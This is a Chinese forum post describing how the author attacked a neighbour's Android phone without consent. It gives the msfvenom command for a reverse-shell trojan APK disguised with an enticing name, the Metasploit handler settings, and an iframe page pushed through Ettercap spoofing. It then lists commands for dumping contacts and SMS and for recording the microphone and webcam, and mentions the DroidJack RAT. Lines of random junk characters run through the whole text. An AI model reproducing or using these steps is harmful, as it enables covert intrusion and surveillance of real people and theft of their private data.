|
; Y: p$ g8 K* X 五、msf+ettercap入侵邻居安卓手机 + e5 o- \/ Q& V: _0 R
2 `4 y+ x) F; w* D
7 H: f. U0 U5 b7 `& t 首先启动msf 4 ]# {$ P* ]( \+ V! Y3 L$ y
3 i" G4 d- d5 L0 {3 A9 C
% P( |- D. ~: H# g& D 先用kali生成一个安卓木马，如下命令：
) ?- b E4 w$ L" T! m
* b* E7 v6 L' z# W4 T4 ?* P" ?" b. g! w" c; U# I& {# M! r) p/ e: e
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
& v$ E$ ]% r8 T' l! s9 ]
3 M4 u8 S& B2 P7 D( n& i# o
' @: S' E- `1 J" s# b  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
% F& @4 l2 N% _) e7 K1 t % w g$ i+ A2 e
6 E4 p0 l! @9 e5 U
然后进入msf
" r, \" P% ~) @+ z% P! n! J" v+ } 1 r1 j9 d6 a" I/ I
: e( E$ |% Z5 r+ ]$ ~
use exploit/multi/handler
# z! m0 _: C7 K$ ~/ Z! E
! ~. @% N* M* \6 f, f! p& D9 l9 j& [2 r# c2 W
set payload android/meterpreter/reverse_tcp
/ _2 M; E" X5 J3 p, B
! b/ N$ |1 |5 e* d7 f# t% `0 r: L. U' b# U$ \
set LHOST 192.168.0.109 //ip为kaili的ip
1 N4 M3 W- T, Z9 U1 l0 Q
$ W: n4 h4 O% B; z% r& }) m: X+ n: B2 z5 R
set LPORT 44444 //端口一定要与前面生成的木马的端口一致 ; W1 l A/ |2 g$ w- O9 d
3 E5 C7 N6 W y9 ]) B7 n5 o5 w4 P& x% O
3 @, a. t J: a# R2 K) s' g1 r
Exploit
# v! d5 S/ O; v5 f
+ n/ r0 A0 t7 \, [
1 L5 f, N3 k# X) R7 u$ H6 z4 Z  ; O; a- r1 ~6 W2 z. S. `
! | t! B" G' ]' D* [: V$ K# J# P* k) J: w! [ _
下面我们开启ettercap -G 4 x" S0 @4 D# b, w$ R
$ ]( N; Z$ b/ X9 x! x: ^# h# W1 v5 `
! u5 Z1 }, k% F# D! p) L 我物理IP为 / A& k7 ?$ V# l0 Q+ X% G
8 W: P8 c5 F( Q% c/ J( p
( v f7 @ \& ]; I2 J3 m$ k 
4 j/ q( C% u; I, o* y0 A; J& ^ / n" w+ @. m3 x+ M, x
$ Q5 A% K- k& b! C
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
$ ~9 m2 T" n/ [
/ ~1 d, M4 \) E, W. z* w3 y6 n' S, t( p5 O1 P! g
下面我们来设置一下 4 P9 B6 X# T# q1 F7 q9 Z
+ T- R2 i& q$ X8 \* u
$ A$ v3 Z' j8 i, n  ! G* Z" E$ d: W" y
- g+ T6 d/ k) o( D3 s
_! D! ]8 A* q( f9 G. R
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， : [& Q5 }0 {/ v$ L9 x8 [
* b1 Z. i+ {- H8 D* l
8 A ?; U& J f" { 6 x% h# W& h" C4 t S# g
; ]) I" p& G! G' H0 Q$ y# W6 n$ t3 x1 N; U1 H, z3 b( y
 # Z: {9 ^* E2 C/ R; X
- T# N" E! f! s$ b. X* @4 d5 c: n' i! p# z2 u' Y$ t \$ ?
! K% _; C& ?; ~& J1 V B1 N4 b8 t! G2 K1 x
2 S3 B7 v5 c, z( q
' z; r% ?+ Z. N5 c$ Y! U6 c ] / @; t; X0 }2 k# G+ l: y; D
9 z7 @) f2 u5 K+ p! l" c
( J) b: ?% C7 S. `7 Z ' }& l8 s8 K; s2 \% A& g, P" R
0 U' _! ]) v3 l
4 c7 P/ k2 d1 f- w0 m
) j* M, F: d& c) K% d
2 c) T1 N6 b% l1 g. \6 `
6 ^1 Q- M" b% S' a$ m) a; s( d 6 c( k! `$ C4 b3 r
+ L4 l S) f& P# N3 h5 n , v! [. n, l2 Y9 D
8 J6 k O7 q# G$ v0 c
4 ]* H( `+ l5 z3 W. M
9 \0 Y; B3 a# q* E% P
1 P. ^" q; @- m8 j5 ^0 o8 v/ d* k7 t$ `' e
' Y5 H- q8 g+ M8 \0 ]* K# L O: C
n6 ?+ w2 T6 u: h$ ^/ [9 A: ~
3 [7 @% _* ]6 ^1 ]
) p( b' u& r% B5 K! \1 n
7 M- P! k/ ^' I7 t7 T: b
Z* [8 N' i. J$ A9 X0 d1 Q/ Z: o / e7 k! }3 G% @1 I$ A9 e# U Q
% w: T q& T1 b% F/ S! T
5 r- C0 E! W1 e# [9 a% O# b
 x( n0 k" M- ]: r3 h% I
; ?% I; W9 a; z6 y* w! p' i
! c0 m- ^# |* g4 T5 `
下面我们开始攻击 0 r/ m1 C5 t# s8 C2 m6 w6 o
# |. A$ P, B3 S4 m0 i
. T% [5 ?( j% r# F0 o g
* A r0 @9 F+ R3 Y1 T# K# A6 i/ [
) h+ O( {/ }: D1 f/ O& H0 R; j- M5 T1 z% `$ O9 F; b1 Z
7 V! Q9 S/ `% e* v/ ^6 v; h
- n; x6 q- O( b. d6 ]% t7 x2 \ f: V& A" [9 E6 g& S# U
/ ]. q) ?% y+ e/ ~" X% T- C
; {" Q* v# i) F6 N: z( e9 j# Z; Q- E+ i2 J" M. [# Q
1 i4 |# ~1 F# [7 z$ ?% w$ r0 f 8 p: s8 ^ a$ s/ H7 `4 L: |) V
7 J- V) y, B# R! X 
6 }) t f" E+ }% u+ f, O! @$ s; p 1 q; Y+ C" ~) J1 g7 I* v8 J& A
: e1 J8 q' C0 D* c% M" Z- u
大概过了5分钟多，发现反弹成功了
* y* z7 q+ L6 o
" w, h' ~0 o% G& N0 \8 F; n
8 m: _# m6 T8 _# V5 t$ c$ } * R. c/ g( Q( P
* R* Z+ W* s& B6 Q2 u% J' L4 s4 e/ [
! P: d) ^, O- Z8 v( E' J2 J
0 ]) R+ i, n) r9 _3 ~* C7 `+ M! i9 ]- `* h$ M
1 I0 g) N0 @( z# X- G- ^
" c7 q. E. I( b" S' A7 y, \: e5 B" w5 d( E+ Q5 B
% ]3 {; } ^% u3 w+ q: |5 M 6 e" E5 W8 s$ b5 m3 y
- N; |' a1 }; T ^1 V
3 C7 N+ X/ B1 f, n4 C8 M9 q% Z! j# q
8 t! S8 [ q+ z; I( G; w; E1 `6 K7 a7 `& f. g, i) \
$ _9 J! L( O' }
# \+ [. b. }! j8 ^
; l! U; @ }0 b; h
 ! }; ?9 N6 [5 z! f
5 W4 } t2 S: x( I5 V/ d' o
# t, w( _7 W8 B! T9 I 执行命令
/ U# V" o$ s' Y2 c
& G8 Z* @* ~! C% E! Q) e: v) D' ^# a" x" R1 M4 B$ S
5 k0 P. D( e! w* z/ Z8 T# M. T( W
- m- |0 \7 p- O5 P1 t
+ L! i. N; V/ F9 A; C
dump_contacts --》这个是导出电话 ( {: c" \. {$ ~ x J3 x5 M
, b0 X1 G3 i4 ^
: E: D( Q; k* A { I; Z$ U
dump_sms --》这个是导出信息 2 M$ |8 ^( G6 q& B3 ~
9 \% p$ l. W4 K; b
( C4 ~2 j8 K7 `8 g) }) L" Z record_mic Record audio from the default microphone for X seconds # o* ~2 H/ j, _$ v
* D$ K; S& s7 \% m9 n) ^/ n; t4 _6 S' g
webcam_chat Start a video chat
+ W% P6 C) _" @" c( l4 r4 u 5 T0 w( p& i" @4 c. q
( O# K9 f6 ]+ d webcam_list List webcams
$ j$ ?( k! U, p4 Q7 ?
( J' r$ m& r* O/ ?, V
3 p/ F) v' b$ W4 ]- c2 W1 f e webcam_snap Take a snapshot from the specified webcam
8 C! |9 q1 |: \ 5 t+ g5 {2 ~4 V) m" U2 k6 F, {
+ \$ h/ u. g/ M! w3 t webcam_stream  lay a video stream from the specified webcam $ N$ b; b# G" B+ Q0 ]
: {# w6 F4 X" U$ S/ [9 f
% j; e+ G% L3 r ?( n; x/ g# L
( _2 ^1 M5 K p% a* K. Q9 i3 C
4 z/ b- z. f* f0 f: x9 J) Y1 J& ?; J- @* S2 j M
 - z0 V( j4 p$ c+ u- {& Y7 X f
% S! I3 J9 b ?: q# I6 q; _
& t1 R; a$ o+ [/ y. H 我们打开看一下电话薄， $ J- E% A6 n' C& @9 y! K5 u
. @/ ~# z& `9 n" y6 t, v, J
; G/ L5 O# H D3 b% a
: E9 O/ D. }% J& d& v# b
. W2 q% u" n$ E* s# a/ p2 Y
+ z+ V& m B; w5 q$ U* u. |; R 
8 w1 d& e9 O4 {/ I8 X 6 C* B; U% B# f( N* x2 r( Z7 D; d
# c4 H- M, Y+ V: R4 @
% c9 I' F2 |. E$ ]+ E+ D8 J0 H: F H4 T/ E% e1 U4 v& }0 C! f2 M
9 @& q! h% \" E, P! u0 z/ c; e
 / j# \( n6 Z' e2 U: \( d1 i
7 P$ z* L; ~4 z/ D# v7 ~+ d* f7 n. H5 V
, c7 G# e! m8 t9 W) C$ g. Z, q @
& w c3 c2 B" O( e6 O. ]) A6 L/ v* N2 E3 [3 _4 D( \
$ t# Q5 t; N& |% W " r$ W$ B9 i$ B
& C# L3 N+ D1 l0 I
我们同时欺骗成DroidJack木马，使用方法如图： w" ]0 @: G6 A7 ?7 ]
! |* z; R" d: `* b7 ?: R
: k: o" i8 ? {5 H, K 
5 Y3 D: `6 D6 {
, ]7 n, Q. K5 S# ~* Q' N% \$ f: N( W7 [) a9 H% g8 B
* T3 x4 D- I% A7 w
2 F9 j5 F3 f& C% p. U( J1 u1 P) t1 v2 z4 B
9 v5 X1 W* W- S: r
# q7 B0 ~& ?8 E! w4 J* @/ s+ w0 }: g* g' N+ u/ ?+ `
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
- y) N% w5 W* b2 v9 L' h
4 C. m* Y( A% p, N; } a4 J5 S2 o( J. w' K* t& r
 / v7 K( c4 ]7 X, @
1 ]3 ]. Y, J0 F. D; a, }8 N% v( d! u
! L' C: D) w8 y# ^1 I1 N4 ? ; \7 c# j: c0 d! `2 Q
; u4 s; b5 Y) D! Y
 & m) c5 q9 _+ ?: G
6 w' o; @* G+ G* _
0 c5 h" x* P9 F3 [7 U1 B3 X   & t& S @0 ^' C! C) h! N
6 A( {8 ]/ n) y
) F; f% W4 l9 ` d/ i7 E7 {) U
O0 l) a4 G5 e C* s
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对